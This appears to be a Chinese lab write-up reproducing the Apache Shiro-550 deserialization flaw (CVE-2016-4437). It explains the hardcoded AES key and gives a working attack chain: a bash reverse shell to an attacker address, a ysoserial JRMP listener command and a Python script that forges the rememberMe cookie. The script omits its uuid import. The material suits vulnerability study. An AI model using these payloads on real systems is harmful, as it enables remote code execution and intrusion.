一、Shiro-550 CVE-2016-4437

前言

这是个非常经典的漏洞,对于学习反序列化和利用还是挺有帮助的,也学习下这个玩意是什么,怎么用以及多接触下涉及到的安全问题。

什么是shiro?

大白话理解,这是一个用于身份认证、鉴权、加密和会话管理的开源安全框架,详细的可以看这篇文章,不重复造轮子:https://zhuanlan.zhihu.com/p/54176956

漏洞复现环境搭建

直接拖个现有的docker环境下来,直接是免安装版:
image.png
打开浏览器发现正常访问说明成功:
image.png

漏洞原理

这个漏洞本质上是因为AES使用了硬编码的key值导致我们可以构造任意的Readme的值,进行反序列化操作从而执行任意代码导致的,具体代码在这里getRememberedPrincipals:
image.png
首先知道是在CookieRememberMeManager这个类中:
image.png
getRememberedSerializedIdentity获取到序列化后的字符串然后进入到convertBytesToPrincipal函数image.png
image.png
这里很明显可以看到先解密再反序列化deserialize的操作,这里解密的key就是前面的kPH+bIxk5D2deZiIxcaaaA==解密一下得到的值:
image.png
可以看到key就是个base64加密后的字符串
image.png
继续跟踪可以知道这是个AES-CBC模式
image.png
然后iv计算在这里:
image.png
再来看看反序列化的操作:
image.png
可以看到确实也是调用了readObject方法。

攻击

监听本地端口4444:

  1. netcat -lvp 4444

用啄木鸟生成payload:

  1. bash -i >& /dev/tcp/192.168.0.104/4444 0>&1

监听6666端口:

  1. java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'

python3脚本:

  1. import sys
  2. import base64
  3. import subprocess
  4. from Crypto.Cipher import AES
  5. def encode_rememberme(command):
  6. popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
  7. BS = AES.block_size
  8. pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
  9. key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
  10. iv = uuid.uuid4().bytes
  11. encryptor = AES.new(key, AES.MODE_CBC, iv)
  12. file_body = pad(popen.stdout.read())
  13. base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
  14. return base64_ciphertext
  15. if __name__ == '__main__':
  16. payload = encode_rememberme(sys.argv[1])
  17. print("rememberMe={0}".format(payload.decode()))

运行python3 test.py 192.168.0.104:6666

image.png
最后发包:
image.png